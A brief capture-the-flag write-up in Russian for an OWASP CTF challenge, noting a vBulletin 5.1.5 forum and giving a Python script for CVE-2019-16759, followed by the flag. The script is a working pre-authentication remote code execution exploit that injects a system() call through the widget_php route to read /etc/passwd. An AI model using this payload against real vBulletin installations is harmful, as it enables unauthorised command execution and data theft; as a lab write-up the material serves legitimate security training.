23.md

Zhytomyr (23.owaspctf.gq)

На главной странице видим форум vBulletin версии 5.1.5.

CVE-2019-16759.py:

#!/usr/bin/python2
# -*- coding: utf-8 -*-

from __future__ import print_function
import sys
import requests
import re

response = requests.post(
    url = 'http://23.owaspctf.gq/',
    data = {
        'routestring': 'ajax/render/widget_php',
        'widgetConfig[code]': 'system("tail -1 /etc/passwd");die;'
    },
    allow_redirects=False,
)
print(response.text)

FLAG{vBulletin_5.x_0day_pre-auth_RCE_exploit}